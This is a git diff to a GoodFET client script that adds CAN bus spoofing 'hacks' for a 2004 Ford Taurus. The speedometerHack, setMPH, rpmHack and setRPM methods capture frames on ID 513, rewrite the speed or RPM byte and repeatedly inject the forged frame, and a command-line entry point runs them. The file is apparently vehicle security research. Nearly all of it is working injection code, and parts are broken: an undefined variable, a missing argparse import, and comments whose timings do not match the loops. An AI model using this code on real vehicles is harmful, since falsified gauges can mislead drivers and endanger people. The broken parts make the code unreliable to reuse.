X-Git-Url: http://git.rot13.org/?p=goodfet;a=blobdiff_plain;f=client%2FFordExperiments.py;h=0e09b4b49a17b7c915a9abd4f9ff198b26a04f5b;hp=b2fdc337b21b40626a9f810d64af8995ef41e59c;hb=617868f9572f44267cc31681f90833c18af2fd6a;hpb=3e91eebe19cc7c71165445b4936af7d003b60991 diff --git a/client/FordExperiments.py b/client/FordExperiments.py index b2fdc33..0e09b4b 100644 --- a/client/FordExperiments.py +++ b/client/FordExperiments.py @@ -6,14 +6,18 @@ import datetime import os from random import randrange from GoodFETMCPCAN import GoodFETMCPCAN; +from experiments import experiments from GoodFETMCPCANCommunication import GoodFETMCPCANCommunication from intelhex import IntelHex; import Queue import math tT = time -class FordExperiments(GoodFETMCPCANCommunication): - +class FordExperiments(experiments): + """ + This class is a subclass of experiments and is a car specific module for + demonstrating and testing hacks. + """ def __init__(self, dataLocation = "../../contrib/ThayerData/"): GoodFETMCPCANCommunication.__init__(self, dataLocation) #super(FordExperiments,self).__init__(self) #initialize chip @@ -259,15 +263,232 @@ class FordExperiments(GoodFETMCPCANCommunication): #send packets self.multpackSpit(packet0rts=True,packet1rts=True,packet2rts=True) + def mphToByteValue(self, mph): + return ( mph + 63.5 ) / 1.617 + + def ByteValuToMph(self, value): + return 1.617*ord(packet[9]) - 63.5 + + def setMPH(self, mph): + self.client.serInit() + self.spitSetup(500) + + self.addFilter([513, 513, 513]) + self.client.rxpacket() + self.client.rxpacket() + self.client.rxpacket() + SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5 + SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0 + + startTime = time.time() + #while((time.time() - startTime) < 10): + + packet = None; + + # catch a packet and check its db4 value + while (packet == None): + packet=self.client.rxpacket(); + + #print self.client.packet2str(packet) + + #print "DB4 = %02d " %ord(packet[9]) - + #print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph) + + # calculate our new mph and db4 value + + newSpeed = self.mphToByteValue(mph) + #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph) + + + newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs + 0x08, # bit 6 must be set to 0 for data frame (1 for RTR) + # lower nibble is DLC + ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])] + + # load new packet into TXB0 and check time + self.multiPacketSpit(packet0=newPacket, packet0rts=True) + starttime = time.time() + + # spit new value for 1 second + while (time.time()-starttime < 10): + self.multiPacketSpit(packet0rts=True) + + + def speedometerHack(self, inputs): + + self.client.serInit() + self.spitSetup(500) + + self.addFilter([513, 513, 513]) + + SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5 + SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0 + + #while(1): + + packet = None; + + # catch a packet and check its db4 value + while (packet == None): + packet=self.client.rxpacket(); + + print self.client.packet2str(packet) + + print "DB4 = %02d " %ord(packet[9]) + mph = 1.617*ord(packet[9]) - 63.5 + print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph) + + # calculate our new mph and db4 value + mph = mph + inputs[0]; + newSpeed = ( mph + 63.5 ) / 1.617 + print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph) + + + newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs + 0x08, # bit 6 must be set to 0 for data frame (1 for RTR) + # lower nibble is DLC + ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])] + + # load new packet into TXB0 and check time + self.multiPacketSpit(packet0=newPacket, packet0rts=True) + starttime = time.time() + + # spit new value for 1 second + while (time.time()-starttime < 1): + self.multiPacketSpit(packet0rts=True) + + def rpmToByteValue(self, rpm): + value = ( rpm + 61.88 ) / 64.5 + return value + + def ValueTorpm(self, value): + rpm = 64.5*value - 61.88 + return rpm + + def setRPM(self, rpm): + self.client.serInit() + self.spitSetup(500) + + self.addFilter([513, 513, 513,513]) + + SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5 + SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0 + + #clear buffers + self.client.rxpacket() + self.client.rxpacket() + self.client.rxpacket() + + startTime = tT.time() + while((tT.time() - startTime )< 10): + + packet = None; + + # catch a packet and check its db4 value + while (packet == None): + packet=self.client.rxpacket(); + + #print self.client.packet2str(packet) + + #print "DB4 = %02d " %ord(packet[5]) + + #print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm) + + newRPM = self.rpmToByteValue(rpm) + #print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm) + + + newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs + 0x08, # bit 6 must be set to 0 for data frame (1 for RTR) + # lower nibble is DLC + int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])] + + # load new packet into TXB0 and check time + self.multiPacketSpit(packet0=newPacket, packet0rts=True) + starttime = time.time() + + # spit new value for 1 second + while (time.time()-starttime < 1): + self.multiPacketSpit(packet0rts=True) + + def rpmHack(self, inputs): + """ + This method will increase the rpm by the given rpm amount. + + @type inputs: List + @param inputs: Single element of a list that corresponds to the amount the user + wishses to + """ + + self.client.serInit() + self.spitSetup(500) + + self.addFilter([513, 513, 513]) + + SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5 + SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0 + startTime = tT.time() + while((tT.time() - startTime )< 10): + + packet = None; + + # catch a packet and check its db4 value + while (packet == None): + packet=self.client.rxpacket(); + + print self.client.packet2str(packet) + + print "DB4 = %02d " %ord(packet[5]) + rpm = 64.5*ord(packet[5]) - 61.88 + print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm) + + # calculate our new mph and db4 value + rpm = rpm + inputs[0]; + newRPM = ( rpm + 61.88 ) / 64.5 + print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm) + + + newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs + 0x08, # bit 6 must be set to 0 for data frame (1 for RTR) + # lower nibble is DLC + int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])] + + # load new packet into TXB0 and check time + self.multiPacketSpit(packet0=newPacket, packet0rts=True) + starttime = time.time() + + # spit new value for 1 second + while (time.time()-starttime < 1): + self.multiPacketSpit(packet0rts=True) + + + def runOdometer(self): + pass if __name__ == "__main__": - fe = FordExperiments("asdsf"); - #packetData = {} - #packetData['db4'] = 4; - #runTime = 100; - #fe.mimic1056(packetData, runTime) - #fe.cycledb1_1056(runTime) - #fe.oscillateTemperature(runTime) - fe.fakeVIN() + + parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,description='''\ + + Run Hacks on a Ford taurus 2004: + + speedometerHack + fakeVIN + rpmHack + ''') + parser.add_argument('verb', choices=['speedometerHack', 'rpmHack']); + parser.add_argument('-v', '--variable', type=int, action='append', help='Input values to the method of choice', default=None); + + + args = parser.parse_args(); + inputs = args.variable + fe = FordExperiments("../../contrib/ThayerData/"); + + if( args.verb == 'speedometerHack'): + fe.speedometerHack(inputs=inputs) + if( args.verb == 'rpmHack'): + fe.rpmHack(inputs=inputs) + elif( args.verb == 'fakeVIN'): + fe.fakeVIN() + +